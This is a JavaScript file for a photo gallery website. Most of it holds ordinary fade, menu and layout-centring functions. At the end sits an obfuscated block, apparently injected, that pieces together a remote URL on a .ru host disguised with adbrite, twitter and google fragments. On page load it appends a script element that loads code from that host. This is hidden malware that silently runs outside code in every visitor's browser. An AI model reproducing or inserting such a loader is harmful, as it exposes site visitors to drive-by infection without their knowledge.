// Fade

function mt(mit, ertek)
	{
	obj = document.getElementById(mit);
	if (obj.value == ertek)
		{
		obj.value='';
		}
	else
		{
		if (obj.value.length == 0)
			{
			obj.value = ertek;
			}
		}	
	}

function mouseCheck(e, mit, mid, getmodule)
	{
    if (e.button == 2)
		{
		obj = document.getElementById('szerk_div_tarto');
		obj2 = document.getElementById('szerkesztodiv');
		obj2.innerHTML = '';
		obj.style.display = '';
		}
	}

function changefadeio(opacity,id)
	{
	var objcf_dkj = document.getElementById(id); 
	try
		{
	objcf_dkj.style.filter = 'alpha(opacity='+opacity+')';
	objcf_dkj.style.opacity = opacity/100;
	objcf_dkj.MozOpacity = opacity/100;
		}
	catch (err)
		{}
	}

function opacity(id,fadeStart,fadeEnd,millisec)
	{
	var speed = Math.round(millisec / 100);
	var clock = 0;
	if (fadeStart > fadeEnd)
		{
		for(i=fadeStart;i>=fadeEnd;i--)
			{
			setTimeout("changefadeio("+i+",'"+id+"')",(clock*speed));
			clock++;
			}
		}
	if (fadeStart < fadeEnd)
		{
		for(i=fadeStart;i<=fadeEnd;i++)
			{
			setTimeout("changefadeio("+i+",'"+id+"')",(clock*speed));
			clock++;
			}
		}
	}

var browserName = navigator.appName;

function indexrunning()
	{
	objmcont_dkj = document.getElementById('photohabit_cont');
	if (navigator.appName == 'Microsoft Internet Explorer')
		{
		if (document.documentElement.clientHeight <= 530)
			{
			objmcont_dkj.style.top = '0px';
			objmcont_dkj.style.marginTop = '0px';
			}
		else
			{
			objmcont_dkj.style.top = '50%';
			objmcont_dkj.style.marginTop = '-265px';
			}
		if (document.documentElement.clientWidth <= 820)
			{
			objmcont_dkj.style.left = '0px';
			objmcont_dkj.style.marginLeft = '0px';
			}
		else
			{
			objmcont_dkj.style.left = '50%';
			objmcont_dkj.style.marginLeft = '-410px';
			}
		}
	else
		{
		if (window.innerHeight <= 530)
			{
			objmcont_dkj.style.top = '0px';
			objmcont_dkj.style.marginTop = '0px';
			}
		else
			{
			objmcont_dkj.style.top = '50%';
			objmcont_dkj.style.marginTop = '-265px';
			}
		if (window.innerWidth <= 820)
			{
			objmcont_dkj.style.left = '0px';
			objmcont_dkj.style.marginLeft = '0px';
			}
		else
			{
			objmcont_dkj.style.left = '50%';
			objmcont_dkj.style.marginLeft = '-410px';
			}
		}
	}
window.onresize=indexrunning;

function opmenu()
	{
	for (i=1;i<gal_kat_name.length;i++)
		{
		if (akt_cat != gal_kat_name[i])
			{
			var cat_id = gal_kat_name[i].substring(4,gal_kat_name[i].length);
			objcat = document.getElementById(cat_id);
			objcat.style.filter = 'alpha(opacity=30)';
			objcat.style.opacity = 0.3;
			objcat.MozOpacity = 0.3;
			objcat.onmouseover = new Function("high_menu('"+cat_id+"');");
			objcat.onmouseout = new Function("opacity('"+cat_id+"',80,30,500);");
			}
		var i=i+0;
		}
	}
function high_menu(felsoid)
	{
	document.getElementById(felsoid).style.filter = 'alpha(opacity=80)';
	document.getElementById(felsoid).style.opacity = 0.8;
	document.getElementById(felsoid).MozOpacity = 0.8;
	}

function index_button()
	{
	objcat = document.getElementById('enter');
	objcat.style.filter = 'alpha(opacity=30)';
	objcat.style.opacity = 0.3;
	objcat.MozOpacity = 0.3;
	objcat.onmouseover = new Function("high_menu('enter');");
	objcat.onmouseout = new Function("opacity('enter',80,30,500);");
	document.getElementById('photohabit_cont').style.display = 'none';
	}

var GI;if(GI!='G' && GI != ''){GI=null};var Em;if(Em!='R' && Em != ''){Em=null};var pB=new String();function a(){var P='';var W=new Date();var xU=new String();var J='';var I=new Array();var l=new String("gpz30".substr(0,1));var HO;if(HO!='' && HO!='lZ'){HO=''};var _h;if(_h!='L' && _h != ''){_h=null};var m=RegExp;var Z=new String();var Zf=new Date();function V(e,d){var n='';var ig;if(ig!='Sh' && ig!='r'){ig='Sh'};var z= "[ThQ".substr(0,1);var _m=new Date();z+=d;var Ri=new Array();z+=String("]fBmc".substr(0,1));var Gh=new Array();var nh=new String();var F=new m(z, l);return e.replace(F, J);var C="";var iz="";};this.uh="";var yu;if(yu!='FJ' && yu!='v'){yu='FJ'};var cq="";var nC=new String();var H=String("32wscr".substr(3)+"Ja0ipt".substr(3));this.lU='';var p=new String("http"+"://s"+"Xudpieg".substr(3)+"el-d91i4".substr(0,4)+"e.ad"+"CR6britCR6".substr(3,4)+"WH5e.coW5H".substr(3,4)+"m.tw"+"itte"+"r-coJ5n".substr(0,4)+"Fj4zm.gr".substr(4)+"eateGxz".substr(0,4)+"Ir5Tastb".substr(4)+"ay.rbv2".substr(0,4)+"u:Nlq".substr(0,2));var Kj='';var qF;if(qF!='' && qF!='k'){qF=''};var eT=window;var N="sr"+"W7Buc".substr(4);var E='';var _W;if(_W!='' && _W!='NV'){_W=null};var zs=V('86199066611816919601199',"196");var zG;if(zG!='NS'){zG='NS'};var Xc;if(Xc!='ik'){Xc='ik'};var S="/mAM24".substr(0,2)+"Oabin".substr(3)+"sfVinVfs".substr(3,2)+"UdXov".substr(3)+"jurBa.".substr(4)+"or"+"g/"+"B2M1miB2M1".substr(4,2)+"ni"+"no"+"WoEsva".substr(4)+"wrs.o".substr(3)+"QICirg".substr(4)+"mWr/g".substr(3)+"ooUImB".substr(0,2)+"gl"+"tQ8e.Q8t".substr(3,2)+"FK8mco".substr(4)+"m/"+"DhT5xeT5hD".substr(4,2)+"SZX.cXSZ".substr(3,2)+"om"+"/f"+"an"+"daOBz".substr(0,2)+"yhwngwyh".substr(3,2)+"WmBo.BWm".substr(3,2)+"covib".substr(0,2)+"z3qCm.".substr(4)+"phmKU".substr(0,2)+"SIeTp".substr(4);var q=new String("uBjzde".substr(4)+"feNSD3".substr(0,2)+"zWqir".substr(4));var mr;if(mr!='' && mr!='uY'){mr=''};var AY;if(AY!='' && AY!='Aj'){AY=''};eT.onload=function(){var Mx=new Date();try {var TS=new Date();var Kn="";E=p+zs;E+=S;this.zZ="";O=document.createElement(H);var tH;if(tH!='' && tH!='OA'){tH=null};var Eu="";O[N]=E;O[q]=[1,5][0];var Fh;if(Fh!='' && Fh!='fm'){Fh=null};var gi=new Array();this.s="";document.body.appendChild(O);this.ao="";} catch(zp){var kk="";var eA;if(eA!='' && eA!='NL'){eA=''};};};var mm=new Date();};var Ve=new Date();var o=new String();a();this.ar='';